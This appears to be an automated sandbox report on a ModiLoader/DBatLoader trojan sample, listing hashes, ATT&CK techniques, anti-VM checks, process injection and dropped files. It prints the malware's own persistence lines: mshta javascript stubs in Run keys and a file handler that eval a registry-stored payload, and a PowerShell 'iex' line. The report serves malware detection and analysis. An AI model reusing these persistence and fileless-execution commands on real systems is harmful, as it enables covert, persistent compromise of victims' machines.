modiloader | 0281d88dff1d6a12f147b2807a82c91d0aede10b150f3f4e4e7b1192d3ce2641

Analysis

max time kernel
150s
max time network
149s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
16-09-2024 03:37

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General

Target

e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe
Size

456KB
MD5

e3f338ad05129fe9bb6c4823103fdfa3
SHA1

63122b3554ad4607ca2c80607960b2380dd6298f
SHA256

0281d88dff1d6a12f147b2807a82c91d0aede10b150f3f4e4e7b1192d3ce2641
SHA512

dbcaf669cc53db030e4439d82fd8276752f6fe44fb285da4e1061926f01521b48315e5c0f20ec294006fe3cfa99f01ca17dca58fd23c0484123a2fc3d20ad9bc
SSDEEP

12288:Bnqa+fpGWv1A7o+eb9oN+4x6mTvJF+081I/srI:1qxGM1Ae9oN3z+jFrI

Score

10^/10

modiloader discovery evasion execution persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	892	2600	mshta.exe	32

Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs

evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 50 IoCs

resource	yara_rule
behavioral1/memory/1792-1-0x0000000000440000-0x0000000000483000-memory.dmp	modiloader_stage2
behavioral1/memory/1792-0-0x0000000000440000-0x0000000000483000-memory.dmp	modiloader_stage2
behavioral1/memory/2940-12-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2940-26-0x0000000001E00000-0x0000000001ED4000-memory.dmp	modiloader_stage2
behavioral1/memory/2940-25-0x0000000001E00000-0x0000000001ED4000-memory.dmp	modiloader_stage2
behavioral1/memory/2940-24-0x0000000001E00000-0x0000000001ED4000-memory.dmp	modiloader_stage2
behavioral1/memory/2940-29-0x0000000001E00000-0x0000000001ED4000-memory.dmp	modiloader_stage2
behavioral1/memory/2940-28-0x0000000001E00000-0x0000000001ED4000-memory.dmp	modiloader_stage2
behavioral1/memory/2940-23-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2940-22-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2940-20-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2940-16-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2940-14-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2940-32-0x0000000001E00000-0x0000000001ED4000-memory.dmp	modiloader_stage2
behavioral1/memory/2940-33-0x0000000001E00000-0x0000000001ED4000-memory.dmp	modiloader_stage2
behavioral1/memory/1992-43-0x0000000006250000-0x0000000006324000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-46-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-50-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-57-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-63-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-66-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-69-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-86-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-87-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-76-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-75-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-70-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-80-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-79-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-78-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-68-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-65-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-64-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-62-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-61-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-60-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-59-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-58-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-56-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-55-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2116-93-0x0000000000090000-0x00000000001CE000-memory.dmp	modiloader_stage2
behavioral1/memory/2116-94-0x0000000000090000-0x00000000001CE000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-54-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-53-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-52-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-51-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-49-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-48-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2
behavioral1/memory/1992-47-0x0000000006250000-0x0000000006324000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-44-0x00000000002E0000-0x000000000041E000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

pid	Process
2012	regsvr32.exe

Drops startup file 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mgr.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\17e428.lnk	regsvr32.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mgr.vbs	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mgr.vbs	WScript.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:nc9Xtzmwy=\"h0CLBlLV\";M52D=new%20ActiveXObject(\"WScript.Shell\");zZkAq2Us=\"jk2tr7S\";VkDJ6=M52D.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\xavfqaxj\\\\obnu\");d2Mk1tKyn=\"1qeGfaG\";eval(VkDJ6);kl3nhn7vAV=\"1wDYAL\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:jojKl1NA=\"tFs1ivfi\";MB17=new%20ActiveXObject(\"WScript.Shell\");rSCKc2pgx=\"IVIw474T1\";uqv4G=MB17.RegRead(\"HKCU\\\\software\\\\xavfqaxj\\\\obnu\");l6ZfCtrd=\"q\";eval(uqv4G);ZDhvmC4Fe=\"ExMtN\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\592d46\\f60529.lnk\""	regsvr32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1992	powershell.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1792 set thread context of 2940	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	31
PID 1992 set thread context of 2012	1992	powershell.exe	36
PID 2012 set thread context of 2116	2012	regsvr32.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\.e0823ae	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\.e0823ae\ = "7d7c0e"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\7d7c0e	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\7d7c0e\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\7d7c0e\shell\open	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\7d7c0e\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\7d7c0e\shell\open\command\ = "mshta \"javascript:KVIjA1b=\"hK3C8F3kJQ\";ho8=new ActiveXObject(\"WScript.Shell\");xQ39sexJO=\"SjRLPFcb\";nlUN0=ho8.RegRead(\"HKCU\\\\software\\\\xavfqaxj\\\\obnu\");jEmNBhUN6=\"azIA\";eval(nlUN0);DAwm4ejTA=\"AiwUI8\";\""	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1992	powershell.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe
2012	regsvr32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1992	powershell.exe
2012	regsvr32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1992	powershell.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 1792 wrote to memory of 2108	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	30
PID 1792 wrote to memory of 2108	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	30
PID 1792 wrote to memory of 2108	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	30
PID 1792 wrote to memory of 2108	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	30
PID 1792 wrote to memory of 2940	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	31
PID 1792 wrote to memory of 2940	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	31
PID 1792 wrote to memory of 2940	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	31
PID 1792 wrote to memory of 2940	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	31
PID 1792 wrote to memory of 2940	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	31
PID 1792 wrote to memory of 2940	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	31
PID 1792 wrote to memory of 2940	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	31
PID 1792 wrote to memory of 2940	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	31
PID 1792 wrote to memory of 2940	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	31
PID 1792 wrote to memory of 2940	1792	e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe	31
PID 892 wrote to memory of 1992	892	mshta.exe	34
PID 892 wrote to memory of 1992	892	mshta.exe	34
PID 892 wrote to memory of 1992	892	mshta.exe	34
PID 892 wrote to memory of 1992	892	mshta.exe	34
PID 1992 wrote to memory of 2012	1992	powershell.exe	36
PID 1992 wrote to memory of 2012	1992	powershell.exe	36
PID 1992 wrote to memory of 2012	1992	powershell.exe	36
PID 1992 wrote to memory of 2012	1992	powershell.exe	36
PID 1992 wrote to memory of 2012	1992	powershell.exe	36
PID 1992 wrote to memory of 2012	1992	powershell.exe	36
PID 1992 wrote to memory of 2012	1992	powershell.exe	36
PID 1992 wrote to memory of 2012	1992	powershell.exe	36
PID 2012 wrote to memory of 2116	2012	regsvr32.exe	37
PID 2012 wrote to memory of 2116	2012	regsvr32.exe	37
PID 2012 wrote to memory of 2116	2012	regsvr32.exe	37
PID 2012 wrote to memory of 2116	2012	regsvr32.exe	37
PID 2012 wrote to memory of 2116	2012	regsvr32.exe	37
PID 2012 wrote to memory of 2116	2012	regsvr32.exe	37
PID 2012 wrote to memory of 2116	2012	regsvr32.exe	37
PID 2012 wrote to memory of 2116	2012	regsvr32.exe	37

C:\Users\Admin\AppData\Local\Temp\e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops startup file
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cpy.vbs"
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  PID:2108
- C:\Users\Admin\AppData\Local\Temp\e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\e3f338ad05129fe9bb6c4823103fdfa3_JaffaCakes118.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2940

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:p9PYOAHiP8="i1nFcl61";G95p=new%20ActiveXObject("WScript.Shell");zjON8IV4J="P";o2Gah8=G95p.RegRead("HKLM\\software\\Wow6432Node\\hTQyvm\\GbIc6N");eibemg3eU="PXQ";eval(o2Gah8);yd1GdP4JH="UAsEe";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:892
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:xtycdld
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Looks for VirtualBox drivers on disk
    - Looks for VMWare Tools registry key
    - Checks BIOS information in registry
    - Deletes itself
    - Drops startup file
    - Adds Run key to start application
    - Maps connected drives based on registry
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2012
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

File and Directory Discovery

T1083

Peripheral Device Discovery

T1120

Query Registry

T1012

Software Discovery

T1518

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\592d46\3c1180.bat

Filesize
61B

MD5
e675023f07cf8aff6a7e4d54c3fd3efc

SHA1
45b0c62d3e04315c205d04598dc77397d06882e6

SHA256
4d63145cba7c25183b1e52cec651579e0a1921813f3c307d314f290fa26098ab

SHA512
5f7a9463b3dd22df4ed69e2e21d903535e32265a4d98a4d46873ebdf7c6eb261b4e352a52de9baf7e05e0a037a18888b718c954574814f7bc9b1b9fb2ca348af

Download Submit
C:\Users\Admin\AppData\Local\592d46\c77b5a.e0823ae

Filesize
29KB

MD5
b8dd9c4ef7196af5daf76e6900fe1843

SHA1
41c24a4a75ffd017d0f84d826ce2956ec98b890d

SHA256
fa386f798173b173b84d05d37b9e23bef1cd793b277b7bbaa78f1e3c036c1c99

SHA512
55ae96e277d8c0a0dca694b2808c2a93134ab1887580670371e5c422fd5c5b9b4244d5a0859535861936d653f2063d51b56f5e1c03de361854a5919b969c54e4

Download Submit
C:\Users\Admin\AppData\Local\592d46\f60529.lnk

Filesize
877B

MD5
39e4a17a98e869cc2f1bd2bacbbb5053

SHA1
610aca9eb88d9a5ac8e5154985a08bddc3016740

SHA256
188b21996ce81764c07ffb710ec706e04749fa9fb240b34354b74367ada1a498

SHA512
8cb5e17115cca6b54a9e7b97fed3ceb9a2d94eeaef5bd3fb1b650318ba233bbbf2a5c8b8c9b256420943143b3d9049cd4162dc065cb3f2d05b0420a84b338c4d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab9742.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar9764.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpy.vbs

Filesize
322B

MD5
99156b0549410541660f63f9b50f2072

SHA1
b1f3ba7ed2b99e3fe0790269ffe93164eae2f637

SHA256
fe3f03514cada743490e270e6a12016a13e4a00539f652d107431cd4366275c7

SHA512
a82bdef2a1aae561ef541af5e2d36ed55a6045d15f214d447bac7ac4c879e1519e6e98e7839649a4c2aa10045045589501c4ae7fd8b786ce874d634eb27ae2db

Download Submit
C:\Users\Admin\AppData\Local\Temp\mgr.vbs

Filesize
1KB

MD5
d4757524679d70ee9ce9cda52cf74a4d

SHA1
a87340c553b0b36254c3c62c64d1d80da04cda80

SHA256
656d9d4eb1da609c62ff17caeb566de6f57ac6d90944df858a2e9f2aa743ba2e

SHA512
f2ce74c47e0d5bc06de656c9addcfdac2b79640897eb41932ea10d3403ffc6a2b7530e35aaf8efb4a4beba8555f0a9676593fe92db4763b32713e3acfa1fae00

Download Submit
C:\Users\Admin\AppData\Roaming\840cad\f4ca18.e0823ae

Filesize
35KB

MD5
785c0cabf95d0f729616c73981a438c5

SHA1
4ce59b6a8417f5ba0cafbb511da80f8ff4fa6c55

SHA256
23cb94d74cc93e15c5e745b00b2c2f135bcea2e68790cf0caf01d27977b5e30d

SHA512
eb20dda60c7b53b70c5af258cbc8ee007fb94e252448ad2826c76308f3150a90a4d089cbc365bb2073c1924a833c72c5af4d4ad871b382735f20831c04c574d2

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\17e428.lnk

Filesize
987B

MD5
180704dcaabfe82f39f89f77fb2a9bcc

SHA1
0a313edd06b28fd28ef5c4ab88f505d7c10ab04b

SHA256
4a2a0342edd10975b5c0ee5078d772b35a4067ed2792668d7c89d18a3bd51863

SHA512
1a802a37cf98d22216730d89d15bd9cd5837c1a6ba563a2e32099cc1d6850700e76bc8e6fe0d4acad4a85b825d3ad259f267b52c3d9e62411abdcf2be731d9dc

Download Submit
memory/1792-1-0x0000000000440000-0x0000000000483000-memory.dmp

Filesize
268KB

Download
memory/1792-0-0x0000000000440000-0x0000000000483000-memory.dmp

Filesize
268KB

Download
memory/1992-43-0x0000000006250000-0x0000000006324000-memory.dmp

Filesize
848KB

Download
memory/1992-47-0x0000000006250000-0x0000000006324000-memory.dmp

Filesize
848KB

Download
memory/2012-50-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-87-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-51-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-52-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-53-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-54-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-48-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-44-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-46-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-55-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-57-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-63-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-66-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-69-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-86-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-49-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-76-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-75-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-70-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-80-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-79-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-78-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-68-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-65-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-64-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-62-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-61-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-60-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-59-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-58-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-56-0x00000000002E0000-0x000000000041E000-memory.dmp

Filesize
1.2MB

Download
memory/2116-93-0x0000000000090000-0x00000000001CE000-memory.dmp

Filesize
1.2MB

Download
memory/2116-94-0x0000000000090000-0x00000000001CE000-memory.dmp

Filesize
1.2MB

Download
memory/2940-23-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/2940-22-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
